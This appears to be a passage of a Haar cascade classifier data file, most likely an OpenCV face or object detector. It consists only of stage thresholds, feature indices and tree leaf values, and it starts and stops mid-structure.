-8.8221747428178787e-03 + + -2.0126590132713318e-01 -3.1850230693817139e-01 + -4.0777778625488281e-01 1.7498190701007843e-01 + <_> + + 1 0 1587 4.4771569082513452e-04 -1 2 1588 + -1.5389479696750641e-01 -2 -3 1589 9.9520087242126465e-02 + + 2.2826899588108063e-01 2.3346799612045288e-01 + -1.9206780195236206e-01 1.9271479547023773e-01 + <_> + + 0 1 1590 -7.3821679688990116e-03 2 -1 1591 + 3.8805850781500340e-03 -2 -3 1592 1.6339759528636932e-01 + + -4.6257901191711426e-01 -2.3733510076999664e-01 + 5.5862568318843842e-02 6.1965280771255493e-01 + <_> + + 0 1 1593 -8.8077411055564880e-02 -1 2 1594 + -3.5946018993854523e-02 -2 -3 1595 -1.6441620886325836e-02 + + -3.8033220171928406e-01 2.6925620436668396e-01 + 1.4508089423179626e-01 -1.6219359636306763e-01 + <_> + + 0 1 1596 -4.3592150323092937e-03 2 -1 1597 + 1.0485500097274780e-02 -2 -3 1598 -6.1118233134038746e-05 + + -5.1064497232437134e-01 2.8324770927429199e-01 + 7.6486147940158844e-02 -1.9800069928169250e-01 + <_> + + 0 1 1599 -4.7104779630899429e-02 2 -1 1600 + 4.4213151559233665e-03 -2 -3 1601 7.0402962155640125e-03 + + -7.2683817148208618e-01 3.9631149172782898e-01 + 1.8920229747891426e-02 -3.7019899487495422e-01 + <_> + + 1 0 1602 1.4250110089778900e-01 2 -1 1603 + -5.7172770611941814e-03 -2 -3 1604 -4.6481531113386154e-02 + + 8.8020402193069458e-01 4.3595671653747559e-02 + 7.6506501436233521e-01 -2.7619931101799011e-01 + <_> + + 0 1 1605 -4.4838748872280121e-02 2 -1 1606 + 3.0957909300923347e-02 -2 -3 1607 -8.7462607771158218e-03 + + -5.1540642976760864e-01 5.9068799018859863e-01 + -2.2899469733238220e-01 6.3833296298980713e-02 + <_> + + 1 2 1608 -1.5742169693112373e-02 0 -1 1609 + -2.6640590280294418e-02 -2 -3 1610 1.8860519630834460e-03 + + 7.8339278697967529e-01 -2.8742430731654167e-02 + -5.8971941471099854e-03 -5.2254527807235718e-01 + <_> + + 1 0 1611 9.0017020702362061e-02 2 -1 1612 + 4.1232812218368053e-03 -2 -3 1613 -3.1369640491902828e-03 + + -2.7766749262809753e-01 -3.3485591411590576e-01 + 2.3297710716724396e-01 -2.5101479142904282e-02 + <_> + + 0 1 1614 -1.9068670272827148e-01 -1 2 1615 + -1.2578029930591583e-01 -2 -3 1616 -4.1931928717531264e-04 + + -4.9549269676208496e-01 -4.1263309121131897e-01 + 3.1464719772338867e-01 -1.8672699807211757e-03 + <_> + + 0 1 1617 -3.2330630347132683e-03 -1 2 1618 + 1.7340299673378468e-03 -2 -3 1619 -2.2027179598808289e-02 + + 1.2561239302158356e-01 -3.4801191091537476e-01 + 4.4815701246261597e-01 -7.2313196957111359e-02 + <_> + 39 + -1.1791440248489380e+00 + + <_> + + 2 1 1620 3.3422548323869705e-02 0 -1 1621 + 8.5403252160176635e-04 -2 -3 1622 -7.3585510253906250e-03 + + -1.3247360289096832e-01 7.6739120483398438e-01 + 1.3871429860591888e-01 -3.1415361166000366e-01 + <_> + + 1 0 1623 -1.0222700238227844e-01 2 -1 1624 + 3.4475249703973532e-03 -2 -3 1625 -1.7645580694079399e-02 + + -2.0302750170230865e-01 6.8434572219848633e-01 + 4.2404478788375854e-01 -4.3976809829473495e-02 + <_> + + 1 0 1626 3.2828699331730604e-03 -1 2 1627 + -2.6843189261853695e-03 -2 -3 1628 2.6746080256998539e-03 + + -3.2990959286689758e-01 -3.5459449887275696e-01 + 2.0094729959964752e-01 -2.5637739896774292e-01 + <_> + + 2 1 1629 4.3111201375722885e-03 0 -1 1630 + -1.0081959888339043e-02 -2 -3 1631 -1.2621459551155567e-02 + + 6.3562941551208496e-01 7.2961407713592052e-03 + -4.7962281107902527e-01 -2.3874230682849884e-02 + <_> + + 1 0 1632 6.5851196646690369e-02 2 -1 1633 + 6.6091239452362061e-02 -2 -3 1634 1.0616159997880459e-02 + + -4.3995830416679382e-01 5.8817231655120850e-01 + 4.4144749641418457e-02 -5.2871602773666382e-01 + <_> + + 0 1 1635 -1.7077329754829407e-01 2 -1 1636 + 7.3064928874373436e-03 -2 -3 1637 -1.6232950612902641e-02 + + 3.5454490780830383e-01 -4.8716691136360168e-01 + 5.1020520925521851e-01 -4.3431609869003296e-02 + <_> + + 1 0 1638 1.7457149922847748e-02 -1 2 1639 + 1.8004700905294158e-05 -2 -3 1640 -1.8200390331912786e-04 + + 6.0515201091766357e-01 -1.7250029742717743e-01 + -1.9305349886417389e-01 1.9700099527835846e-01 + <_> + + 1 2 1641 1.9662559498101473e-04 0 -1 1642 + -1.1132629588246346e-02 -2 -3 1643 2.1626690868288279e-03 + + 5.0847887992858887e-01 -1.9962939620018005e-01 + 1.6478070616722107e-01 -4.2688089609146118e-01 + <_> + + 1 0 1644 7.7909911051392555e-03 -1 2 1645 + -1.7233919352293015e-02 -2 -3 1646 1.2938809581100941e-02 + + 4.0679588913917542e-01 -3.7941160798072815e-01 + 5.0589919090270996e-02 -3.9163780212402344e-01 + <_> + + 0 1 1647 -1.7387060448527336e-02 -1 2 1648 + -2.5230729952454567e-03 -2 -3 1649 6.4417538233101368e-03 + + 3.1603300571441650e-01 -1.7287540435791016e-01 + -9.0429611504077911e-02 3.1889480352401733e-01 + <_> + + 0 1 1650 -6.1783548444509506e-03 -1 2 1651 + -6.8178442306816578e-03 -2 -3 1652 1.2576530571095645e-04 + + -8.6734527349472046e-01 -4.4892689585685730e-01 + -9.1477192938327789e-02 1.5243050456047058e-01 + <_> + + 1 0 1653 3.7562008947134018e-03 2 -1 1654 + -7.1173519827425480e-03 -2 -3 1655 -4.5744940871372819e-04 + + -3.9259639382362366e-01 -1.9343020394444466e-02 + 5.8565497398376465e-01 -3.0873420182615519e-03 + <_> + + 1 0 1656 1.8661000067368150e-03 -1 2 1657 + 4.5793029130436480e-04 -2 -3 1658 -7.0905109168961644e-04 + + 1.2924820184707642e-01 -3.0677530169487000e-01 + -2.7637350559234619e-01 1.8316049873828888e-01 + <_> + + 1 2 1659 1.6472890274599195e-03 0 -1 1660 + 3.3973839599639177e-03 -2 -3 1661 1.0479029733687639e-03 + + 3.3831808716058731e-02 5.3982901573181152e-01 + -3.4972178936004639e-01 3.4049559384584427e-02 + <_> + + 1 0 1662 -1.2611759593710303e-03 -1 2 1663 + -1.3892400311306119e-03 -2 -3 1664 -2.3636990226805210e-03 + + -1.0801869630813599e-01 -5.8067310601472855e-02 + -1.1870750039815903e-01 4.2690658569335938e-01 + <_> + + 1 0 1665 7.7976062893867493e-02 2 -1 1666 + 2.6837061159312725e-03 -2 -3 1667 -1.8215410411357880e-02 + + 6.1271321773529053e-01 2.0893469452857971e-01 + 2.2027739882469177e-01 -1.4412580430507660e-01 + <_> + + 0 1 1668 -7.1908776590134948e-05 2 -1 1669 + -4.8738159239292145e-02 -2 -3 1670 1.0442149825394154e-02 + + 1.3836480677127838e-01 -1.8305869400501251e-01 + 2.6348349452018738e-01 -6.3504451513290405e-01 + <_> + + 1 2 1671 9.3731992819812149e-05 0 -1 1672 + -8.5826592112425715e-05 -2 -3 1673 -8.0251938197761774e-04 + + 1.4046959578990936e-01 -2.6721659302711487e-01 + -1.2936100363731384e-01 2.3326739668846130e-01 + <_> + + 0 1 1674 -4.1836570017039776e-03 2 -1 1675 + -7.2750613093376160e-02 -2 -3 1676 -2.1738439798355103e-01 + + -6.0153460502624512e-01 6.9707646965980530e-02 + 5.6727671623229980e-01 -4.5854389667510986e-01 + <_> + + 2 1 1677 1.1648099869489670e-02 0 -1 1678 + -6.2701262533664703e-02 -2 -3 1679 2.1612979471683502e-02 + + 7.8997617959976196e-01 -3.9388018846511841e-01 + 7.7059872448444366e-02 -3.8484179973602295e-01 + <_> + + 2 1 1680 1.4084950089454651e-02 0 -1 1681 + -1.9548619166016579e-02 -2 -3 1682 -3.8142129778862000e-03 + + -8.6542218923568726e-01 3.0495870113372803e-01 + 9.0823858976364136e-02 -1.5859849750995636e-01 + <_> + + 1 0 1683 -1.0152840055525303e-02 -1 2 1684 + -7.2696566581726074e-02 -2 -3 1685 6.2066782265901566e-03 + + 4.4999830424785614e-02 -5.6914567947387695e-01 + -2.0673969388008118e-01 9.0268892049789429e-01 + <_> + + 1 0 1686 6.9105483591556549e-02 -1 2 1687 + -1.4375509927049279e-03 -2 -3 1688 -1.2960369931533933e-03 + + -5.9451812505722046e-01 4.0363711118698120e-01 + -3.1941750645637512e-01 3.5984441637992859e-02 + <_> + + 1 0 1689 6.1866950243711472e-02 2 -1 1690 + -1.2085740454494953e-02 -2 -3 1691 2.4474540259689093e-03 + + -2.7787050604820251e-01 -1.3511900603771210e-01 + -1.1833719909191132e-02 3.7945300340652466e-01 + <_> + + 0 1 1692 -5.3315522382035851e-04 2 -1 1693 + 4.3831359595060349e-02 -2 -3 1694 3.1255939393304288e-04 + + -2.2559830546379089e-01 -4.7124490141868591e-01 + 1.7324599623680115e-01 -1.0789500176906586e-01 + <_> + + 0 1 1695 -3.2911780290305614e-03 2 -1 1696 + -5.8774580247700214e-03 -2 -3 1697 1.7906239954754710e-03 + + 7.7492022514343262e-01 -8.2756206393241882e-02 + 2.2471660748124123e-02 5.2061527967453003e-01 + <_> + + 1 2 1698 -2.8294209390878677e-02 0 -1 1699 + -2.0737959071993828e-02 -2 -3 1700 6.0438051819801331e-02 + + -2.7196401357650757e-01 2.4411930143833160e-01 + -1.8866230547428131e-01 1.2102810293436050e-01 + <_> + + 1 0 1701 1.0623940266668797e-02 -1 2 1702 + -5.2178360521793365e-02 -2 -3 1703 -1.0080549865961075e-02 + + -4.3548050522804260e-01 5.5961382389068604e-01 + -4.7012031078338623e-01 3.5867590457201004e-02 + <_> + + 0 1 1704 -1.8482849700376391e-03 -1 2 1705 + -1.9860679458361119e-04 -2 -3 1706 1.3552449643611908e-01 + + 1.6979730129241943e-01 7.1132831275463104e-02 + -2.6272559165954590e-01 6.1016607284545898e-01 + <_> + + 1 2 1707 -1.5910629183053970e-02 0 -1 1708 + 2.6022290810942650e-02 -2 -3 1709 4.9573001451790333e-03 + + -3.0872771143913269e-01 4.9954459071159363e-01 + 1.6577349603176117e-01 -9.6653968095779419e-02 + <_> + + 0 1 1710 -7.6060830906499177e-05 -1 2 1711 + -7.5124457478523254e-02 -2 -3 1712 -1.2995740398764610e-03 + + 1.4288060367107391e-01 2.5722241401672363e-01 + 5.3607620298862457e-02 -2.8598341345787048e-01 + <_> + + 2 1 1713 -2.2266160231083632e-03 0 -1 1714 + -1.7864009365439415e-02 -2 -3 1715 -7.8721214085817337e-03 + + 4.0117779374122620e-01 -1.5379750728607178e-01 + -5.3092598915100098e-01 2.0486819744110107e-01 + <_> + + 2 1 1716 7.2514810599386692e-03 0 -1 1717 + -3.3152610994875431e-03 -2 -3 1718 1.1477110092528164e-04 + + 4.3453741073608398e-01 9.4297742471098900e-03 + -2.5599750876426697e-01 8.4530018270015717e-02 + <_> + + 0 1 1719 -8.1627883017063141e-02 -1 2 1720 + -3.0422580894082785e-03 -2 -3 1721 9.5837161643430591e-04 + + 6.3307619094848633e-01 1.4660899341106415e-01 + -2.0023280382156372e-01 9.1823212802410126e-02 + <_> + + 0 1 1722 -2.9197218827903271e-04 -1 2 1723 + -4.1077801142819226e-04 -2 -3 1724 -3.4885460045188665e-03 + + 1.1741080135107040e-01 -4.0920740365982056e-01 + -3.9310920238494873e-01 9.1094776988029480e-02 + <_> + + 0 1 1725 -8.0458387732505798e-02 2 -1 1726 + 1.4809619635343552e-02 -2 -3 1727 -2.5831649079918861e-02 + + -3.9728361368179321e-01 -6.7901968955993652e-01 + -4.8431569337844849e-01 7.2864383459091187e-02 + <_> + + 0 1 1728 -6.8509988486766815e-03 2 -1 1729 + 7.2365561500191689e-03 -2 -3 1730 -1.5076539712026715e-03 + + -6.2457418441772461e-01 -4.1250211000442505e-01 + 4.2033711075782776e-01 4.4630239717662334e-03 + <_> + + 1 0 1731 3.1408321112394333e-02 -1 2 1732 + -1.5178160369396210e-01 -2 -3 1733 -1.4014760032296181e-02 + + 5.3995478153228760e-01 -3.0855739116668701e-01 + -5.0550711154937744e-01 4.7526750713586807e-02 + <_> + + 0 1 1734 -1.4479519426822662e-01 2 -1 1735 + -3.5547069273889065e-04 -2 -3 1736 3.9468570612370968e-03 + + -6.7499721050262451e-01 -6.9627217948436737e-02 + 2.0310120284557343e-01 -5.7640278339385986e-01 + <_> + 46 + -1.0878429412841797e+00 + + <_> + + 1 2 1737 -3.7029121071100235e-02 0 -1 1738 + 3.5863209050148726e-03 -2 -3 1739 2.0645149052143097e-03 + + 9.5846345648169518e-03 7.9992657899856567e-01 + -2.9247409105300903e-01 1.4642210304737091e-01 + <_> + + 2 1 1740 5.5934679694473743e-03 0 -1 1741 + 2.2176630795001984e-02 -2 -3 1742 4.8479600081918761e-05 + + -3.9403820037841797e-01 5.4291707277297974e-01 + -2.4063709378242493e-01 9.0213976800441742e-02 + <_> + + 1 0 1743 -1.2722389772534370e-02 2 -1 1744 + 1.1610349640250206e-02 -2 -3 1745 8.2520343363285065e-02 + + -1.7550089955329895e-01 -3.1787800788879395e-01 + 2.8798571228981018e-01 -4.4052869081497192e-01 + <_> + + 0 1 1746 -1.4208409935235977e-02 -1 2 1747 + -8.1465748371556401e-04 -2 -3 1748 -5.5117108859121799e-03 + + -8.2584899663925171e-01 1.9521759450435638e-01 + 1.8622130155563354e-01 -1.9417479634284973e-01 + <_> + + 1 0 1749 1.0232779895886779e-03 -1 2 1750 + -6.4967863261699677e-02 -2 -3 1751 2.5218280497938395e-03 + + -1.7564930021762848e-01 -6.9197070598602295e-01 + 6.9476373493671417e-02 6.7932087182998657e-01 + <_> + + 1 0 1752 1.5097549557685852e-01 -1 2 1753 + 4.3899910524487495e-03 -2 -3 1754 9.9906846880912781e-03 + + 4.6142420172691345e-01 4.2842838913202286e-02 + -4.2551028728485107e-01 3.2834030687808990e-02 + <_> + + 0 1 1755 -2.1895440295338631e-02 -1 2 1756 + -7.6050527393817902e-02 -2 -3 1757 -9.6018705517053604e-03 + + -4.7627368569374084e-01 -3.6348098516464233e-01 + 2.4625270068645477e-01 -1.4736860059201717e-02 + <_> + + 0 1 1758 6.1576829466503114e-05 -1 2 1759 + -2.2094589658081532e-03 -2 -3 1760 -1.3034399598836899e-02 + + -1.2972380220890045e-01 3.2342359423637390e-01 + 4.9937328696250916e-01 -1.3894359767436981e-01 + <_> + + 0 1 1761 -2.0411429926753044e-02 2 -1 1762 + -6.8360187113285065e-02 -2 -3 1763 -4.1714729741215706e-03 + + -4.5825520157814026e-01 -5.3202010691165924e-02 + -3.3815470337867737e-01 2.8209799528121948e-01 + <_> + + 1 0 1764 -2.2963550873100758e-03 -1 2 1765 + -7.3422670364379883e-02 -2 -3 1766 3.5119321197271347e-02 + + -8.7558113038539886e-02 5.8385127782821655e-01 + -7.8373529016971588e-02 5.2284508943557739e-01 + <_> + + 0 1 1767 -2.3843089584261179e-03 2 -1 1768 + 5.8223021915182471e-04 -2 -3 1769 5.1109357737004757e-03 + + -3.6075130105018616e-01 2.1036569774150848e-01 + -1.9436909258365631e-01 1.3681420683860779e-01 + <_> + + 0 1 1770 -6.9154787342995405e-04 2 -1 1771 + -5.5549171520397067e-04 -2 -3 1772 -7.5950571335852146e-03 + + -2.3962910473346710e-01 -1.0858660191297531e-01 + -9.1398581862449646e-02 2.7578109502792358e-01 + <_> + + 0 1 1773 2.8131629806011915e-03 -1 2 1774 + -4.5272540301084518e-02 -2 -3 1775 -2.6697120629251003e-03 + + -7.3745496571063995e-02 3.9891231060028076e-01 + 3.7440070509910583e-01 -2.5978609919548035e-01 + <_> + + 2 1 1776 -1.0849219746887684e-02 0 -1 1777 + -1.6776850447058678e-02 -2 -3 1778 -1.9630219787359238e-02 + + -6.7678660154342651e-01 -4.9237858504056931e-02 + -4.7865530848503113e-01 2.2300049662590027e-01 + <_> + + 1 0 1779 7.0901170372962952e-02 -1 2 1780 + 7.0403231075033545e-04 -2 -3 1781 3.3363080583512783e-03 + + -2.8926369547843933e-01 -5.3575031459331512e-02 + -8.7073008762672544e-04 4.0888670086860657e-01 + <_> + + 1 0 1782 9.3207405880093575e-03 2 -1 1783 + 1.1512059718370438e-02 -2 -3 1784 -1.8639869813341647e-04 + + -5.3399091958999634e-01 -5.2177387475967407e-01 + -1.1254069954156876e-01 1.3096989691257477e-01 + <_> + + 0 1 1785 1.5442570438608527e-03 -1 2 1786 + 2.5775749236345291e-03 -2 -3 1787 -1.2664040550589561e-03 + + -8.3666101098060608e-02 3.2544130086898804e-01 + 3.0370441079139709e-01 -2.6052421331405640e-01 + <_> + + 1 0 1788 3.2941689714789391e-03 -1 2 1789 + -2.3375200107693672e-03 -2 -3 1790 -7.7096500899642706e-04 + + 2.1506890654563904e-01 1.9738529622554779e-01 + 6.9986172020435333e-02 -1.9839569926261902e-01 + <_> + + 1 0 1791 -2.7190460241399705e-04 -1 2 1792 + 2.7237389236688614e-02 -2 -3 1793 -1.5080779790878296e-02 + + 8.3213888108730316e-02 -2.8429448604583740e-01 + 6.8940150737762451e-01 -5.7628151029348373e-02 + <_> + + 0 1 1794 -6.5730936825275421e-02 -1 2 1795 + -7.4283648282289505e-03 -2 -3 1796 3.4652319736778736e-03 + + -5.2482831478118896e-01 3.9523449540138245e-01 + -7.3690779507160187e-02 2.0800660550594330e-01 + <_> + + 0 1 1797 -1.2613019905984402e-02 2 -1 1798 + 2.3288120329380035e-01 -2 -3 1799 2.1903509274125099e-02 + + -6.8893492221832275e-01 7.0790272951126099e-01 + -7.7761108987033367e-03 8.4372210502624512e-01 + <_> + + 1 0 1800 1.0629750322550535e-03 -1 2 1801 + 1.8193929281551391e-04 -2 -3 1802 1.4717869926244020e-03 + + -3.4246420860290527e-01 1.0657790303230286e-01 + -3.1970989704132080e-01 7.0577569305896759e-02 + <_> + + 1 2 1803 7.5306659564375877e-03 0 -1 1804 + 1.7505730502307415e-03 -2 -3 1805 3.8401300553232431e-03 + + -1.5460279583930969e-01 2.1335080265998840e-01 + 2.3800070583820343e-01 -4.1055840253829956e-01 + <_> + + 1 2 1806 -2.5041550397872925e-01 0 -1 1807 + -2.0444789528846741e-01 -2 -3 1808 -1.2383040040731430e-02 + + -3.7927308678627014e-01 4.9870368838310242e-01 + 4.6343478560447693e-01 -6.7613303661346436e-02 + <_> + + 2 1 1809 1.9026029622182250e-03 0 -1 1810 + -1.6705439984798431e-01 -2 -3 1811 -8.6937591433525085e-02 + + 3.5356861352920532e-01 -2.4803459644317627e-01 + -5.6781381368637085e-01 1.0121189802885056e-01 + <_> + + 1 0 1812 -1.0314949788153172e-02 2 -1 1813 + 4.5044738799333572e-03 -2 -3 1814 1.5172120183706284e-02 + + -5.2530448883771896e-02 -9.0071156620979309e-02 + 7.1758699417114258e-01 -3.7740949541330338e-02 + <_> + + 0 1 1815 -5.6233601644635201e-03 2 -1 1816 + 5.4567858576774597e-02 -2 -3 1817 9.7008212469518185e-04 + + 2.3325720429420471e-01 4.8646458983421326e-01 + -2.4600529670715332e-01 2.4224309250712395e-02 + <_> + + 0 1 1818 -2.7179729659110308e-03 2 -1 1819 + -2.0419640466570854e-02 -2 -3 1820 -3.3307760953903198e-02 + + -5.3633391857147217e-01 -1.1361650191247463e-02 + 6.7398411035537720e-01 -1.4063489437103271e-01 + <_> + + 0 1 1821 -2.5500180199742317e-02 -1 2 1822 + -4.0629908442497253e-02 -2 -3 1823 -9.0600941330194473e-03 + + -3.6177828907966614e-01 -5.4579132795333862e-01 + 5.2202242612838745e-01 2.2736469283699989e-02 + <_> + + 0 1 1824 -2.5635668635368347e-01 2 -1 1825 + -9.5340751111507416e-02 -2 -3 1826 -5.9463721700012684e-03 + + -8.3328348398208618e-01 -1.6835439950227737e-02 + 5.6909567117691040e-01 -2.4973009526729584e-01 + <_> + + 2 1 1827 -9.2139927437528968e-04 0 -1 1828 + -6.8437340669333935e-03 -2 -3 1829 -8.2487165927886963e-03 + + -3.6735090613365173e-01 1.6015109419822693e-01 + 5.2686601877212524e-01 -1.5151239931583405e-01 + <_> + + 1 0 1830 4.7555859200656414e-03 2 -1 1831 + 9.3567231670022011e-04 -2 -3 1832 -6.3907768344506621e-04 + + -4.2700308561325073e-01 1.7327770590782166e-01 + 1.3155570626258850e-01 -1.8646000325679779e-01 + <_> + + 0 1 1833 -5.6550311855971813e-03 -1 2 1834 + -1.2212459929287434e-02 -2 -3 1835 -1.0550339706242085e-02 + + 3.1297039985656738e-01 4.6750861406326294e-01 + -2.4461230635643005e-01 1.6502030193805695e-02 + <_> + + 0 1 1836 -7.5216998811811209e-04 2 -1 1837 + 3.0214080470614135e-04 -2 -3 1838 2.8510420816019177e-04 + + -1.0075300186872482e-01 -2.8865608572959900e-01 + -1.1844499967992306e-02 3.6691731214523315e-01 + <_> + + 1 0 1839 -4.4020009227097034e-03 2 -1 1840 + 3.5568218678236008e-02 -2 -3 1841 6.4601990743540227e-05 + + -7.7167138457298279e-02 -4.4335851073265076e-01 + 1.3781660236418247e-02 4.5319119095802307e-01 + <_> + + 1 0 1842 9.3313469551503658e-04 -1 2 1843 + -8.7838143110275269e-02 -2 -3 1844 2.8037109877914190e-03 + + -1.2059070169925690e-01 -4.6736609935760498e-01 + 7.1518830955028534e-02 4.4593128561973572e-01 + <_> + + 1 0 1845 2.3915059864521027e-03 2 -1 1846 + -1.8183189677074552e-03 -2 -3 1847 1.9244100258219987e-04 + + -3.3277919888496399e-01 9.1478407382965088e-02 + 4.9121279269456863e-02 -4.5266890525817871e-01 + <_> + + 1 0 1848 2.1789909899234772e-01 -1 2 1849 + 1.0331439552828670e-03 -2 -3 1850 -1.4138330519199371e-01 + + 7.4892401695251465e-01 -1.0637000203132629e-01 + -4.2974629998207092e-01 1.6179689764976501e-01 + <_> + + 0 1 1851 -5.9106688946485519e-02 2 -1 1852 + 7.8279376029968262e-03 -2 -3 1853 -3.1304039293900132e-04 + + -4.0774118900299072e-01 3.9237990975379944e-01 + 1.3964369893074036e-01 -9.7562357783317566e-02 + <_> + + 0 1 1854 -6.4937800168991089e-02 -1 2 1855 + -2.1739810705184937e-01 -2 -3 1856 -2.0257150754332542e-02 + + 2.2590440511703491e-01 -3.4484180808067322e-01 + 2.4723629653453827e-01 -6.6609263420104980e-02 + <_> + + 1 2 1857 -1.1548499576747417e-02 0 -1 1858 + -6.7811407148838043e-02 -2 -3 1859 -3.4953389316797256e-02 + + 1.9427110254764557e-01 -5.8727997541427612e-01 + 7.8955358266830444e-01 1.5297190286219120e-02 + <_> + + 0 1 1860 -1.7180469632148743e-01 2 -1 1861 + -2.5918710161931813e-04 -2 -3 1862 1.2741640210151672e-02 + + -2.9612448811531067e-01 1.0281720012426376e-01 + -3.0702060461044312e-01 2.1692450344562531e-01 + <_> + + 0 1 1863 -3.1258590519428253e-02 2 -1 1864 + 3.5533700138330460e-03 -2 -3 1865 -9.2502118786796927e-04 + + 5.7348787784576416e-01 5.0475007295608521e-01 + -2.6686659455299377e-01 9.2138834297657013e-03 + <_> + + 0 1 1866 -1.2170480331405997e-03 -1 2 1867 + -2.2023949772119522e-02 -2 -3 1868 2.9549229890108109e-02 + + -3.9172619581222534e-01 2.0690579712390900e-01 + -6.0358341783285141e-02 6.9752788543701172e-01 + <_> + + 1 2 1869 -7.2058511432260275e-04 0 -1 1870 + -2.5625678896903992e-01 -2 -3 1871 3.2817238569259644e-01 + + -3.3763760328292847e-01 5.7221870869398117e-02 + 1.8268160521984100e-02 4.5866298675537109e-01 + <_> + + 0 1 1872 -5.2478950470685959e-02 -1 2 1873 + -7.2261072695255280e-02 -2 -3 1874 -1.0751239955425262e-02 + + -3.7492391467094421e-01 5.6878948211669922e-01 + -3.2823160290718079e-01 5.0447538495063782e-02 + <_> + 43 + -1.1713529825210571e+00 + + <_> + + 1 2 1875 -3.6475598812103271e-02 0 -1 1876 + 1.2570239603519440e-02 -2 -3 1877 -5.3332238458096981e-03 + + 7.8855842351913452e-01 -5.8355428278446198e-02 + 6.4850552007555962e-03 -3.8411408662796021e-01 + <_> + + 1 2 1878 -3.8449079729616642e-03 0 -1 1879 + 1.8065240001305938e-03 -2 -3 1880 4.4460720382630825e-03 + + -8.8380120694637299e-02 6.6356122493743896e-01 + -2.2651070356369019e-01 1.2168529629707336e-01 + <_> + + 1 0 1881 -1.5441340208053589e-01 2 -1 1882 + 2.8965979814529419e-02 -2 -3 1883 -1.8112070858478546e-02 + + -1.7789100110530853e-01 3.8929471373558044e-01 + 4.2137289047241211e-01 -2.0651680231094360e-01 + <_> + + 0 1 1884 -3.0437670648097992e-03 -1 2 1885 + -2.7257429901510477e-03 -2 -3 1886 -1.5535579994320869e-02 + + -4.5531120896339417e-01 2.5576180219650269e-01 + 2.9463219642639160e-01 -1.2572860717773438e-01 + <_> + + 0 1 1887 -1.4182399958372116e-02 -1 2 1888 + 2.8875279240310192e-03 -2 -3 1889 1.9505630480125546e-03 + + -4.7841429710388184e-01 -1.4739120006561279e-01 + -1.1689100414514542e-02 3.8708359003067017e-01 + <_> + + 2 1 1890 -4.1997907683253288e-03 0 -1 1891 + -1.2343189679086208e-02 -2 -3 1892 -6.5799211151897907e-03 + + 2.1066769957542419e-01 -2.4238829314708710e-01 + -4.1709339618682861e-01 1.9089350104331970e-01 + <_> + + 1 0 1893 2.0319439936429262e-03 -1 2 1894 + -2.2653149440884590e-02 -2 -3 1895 -2.4583860067650676e-04 + + 2.7525109052658081e-01 6.1857348680496216e-01 + -3.7903881072998047e-01 -1.9395859912037849e-02 + <_> + + 0 1 1896 -1.1686830548569560e-03 -1 2 1897 + 3.6638419260270894e-04 -2 -3 1898 -5.7184919569408521e-05 + + 1.3913659751415253e-01 -2.6073169708251953e-01 + 3.0361440777778625e-01 -1.7147840559482574e-01 + <_> + + 2 1 1899 -2.3458409123122692e-03 0 -1 1900 + -7.0121302269399166e-03 -2 -3 1901 2.3318149149417877e-02 + + 1.7510280013084412e-01 -1.7132690548896790e-01 + 2.2869640588760376e-01 -3.7544658780097961e-01 + <_> + + 1 0 1902 2.7293559163808823e-02 -1 2 1903 + -7.4272030033171177e-03 -2 -3 1904 -7.8977271914482117e-03 + + -2.8686890006065369e-01 -6.9167411327362061e-01 + -4.1576528549194336e-01 1.0694450139999390e-01 + <_> + + 0 1 1905 -3.6563118919730186e-03 2 -1 1906 + 1.5060990117490292e-03 -2 -3 1907 -2.2211389616131783e-02 + + -4.2580971121788025e-01 2.3827329277992249e-01 + -6.2818527221679688e-01 -1.2995249591767788e-02 + <_> + + 1 2 1908 -1.0182500118389726e-03 0 -1 1909 + 2.7624370530247688e-02 -2 -3 1910 -3.0267149209976196e-02 + + 2.0952360332012177e-01 -3.9603650569915771e-01 + -2.9257088899612427e-01 1.6949739307165146e-02 + <_> + + 1 0 1911 8.2686528563499451e-02 2 -1 1912 + 6.4655147492885590e-02 -2 -3 1913 2.7647409588098526e-03 + + 3.3863779902458191e-01 6.1647278070449829e-01 + -1.4266699552536011e-01 1.2386939674615860e-01 + <_> + + 0 1 1914 -3.1129099428653717e-02 2 -1 1915 + -1.5587930101901293e-03 -2 -3 1916 -5.9767777565866709e-04 + + -3.7931808829307556e-01 -9.2908859252929688e-02 + -1.0530649870634079e-01 2.9945549368858337e-01 + <_> + + 0 1 1917 -5.0103079527616501e-02 2 -1 1918 + 2.5710230693221092e-02 -2 -3 1919 -8.8613387197256088e-04 + + -4.4678428769111633e-01 -4.3549379706382751e-01 + 2.0978139340877533e-01 -3.8637928664684296e-02 + <_> + + 0 1 1920 -6.0174837708473206e-03 2 -1 1921 + 6.2055201269686222e-03 -2 -3 1922 2.7212419081479311e-04 + + 2.9752719402313232e-01 6.6692227125167847e-01 + 2.1671950817108154e-02 -2.7139788866043091e-01 + <_> + + 0 1 1923 -1.3685439713299274e-02 -1 2 1924 + -6.1648458242416382e-01 -2 -3 1925 -2.6253409683704376e-02 + + 4.7005081176757812e-01 -5.2666938304901123e-01 + 1.3483020663261414e-01 -1.0639149695634842e-01 + <_> + + 1 2 1926 -4.1545720887370408e-04 0 -1 1927 + -3.6237420863471925e-04 -2 -3 1928 5.5113807320594788e-04 + + -1.8588809669017792e-01 5.2727550268173218e-01 + 4.5380011200904846e-02 -2.3133419454097748e-01 + <_> + + 1 2 1929 -3.1878859736025333e-03 0 -1 1930 + -6.2446491792798042e-03 -2 -3 1931 -2.1054609678685665e-03 + + 2.8475400805473328e-01 -4.0583759546279907e-01 + 2.6000189781188965e-01 -1.6356609761714935e-02 + <_> + + 1 0 1932 2.2513020667247474e-04 2 -1 1933 + -5.1745050586760044e-03 -2 -3 1934 -2.7152549009770155e-03 + + -1.8777419626712799e-01 1.2812760472297668e-01 + 3.4431490302085876e-01 -4.2658099532127380e-01 + <_> + + 1 0 1935 2.7846530079841614e-02 2 -1 1936 + 4.3891910463571548e-03 -2 -3 1937 1.9749049097299576e-03 + + -2.8553798794746399e-01 6.4455038309097290e-01 + -8.2864962518215179e-02 1.7122590541839600e-01 + <_> + + 1 0 1938 -3.1317298999056220e-04 -1 2 1939 + -1.5486280433833599e-02 -2 -3 1940 9.5049021765589714e-03 + + -1.2443479895591736e-01 -1.8395289778709412e-01 + 3.4495291113853455e-01 -2.0286519080400467e-02 + <_> + + 2 1 1941 -3.7190609145909548e-04 0 -1 1942 + 2.9666710179299116e-03 -2 -3 1943 -5.8068940415978432e-03 + + 4.3022842146456242e-03 -3.4436589479446411e-01 + -8.4134072065353394e-01 2.8392368555068970e-01 + <_> + + 2 1 1944 -5.5204080417752266e-03 0 -1 1945 + -1.3792069512419403e-04 -2 -3 1946 -3.7187319248914719e-02 + + 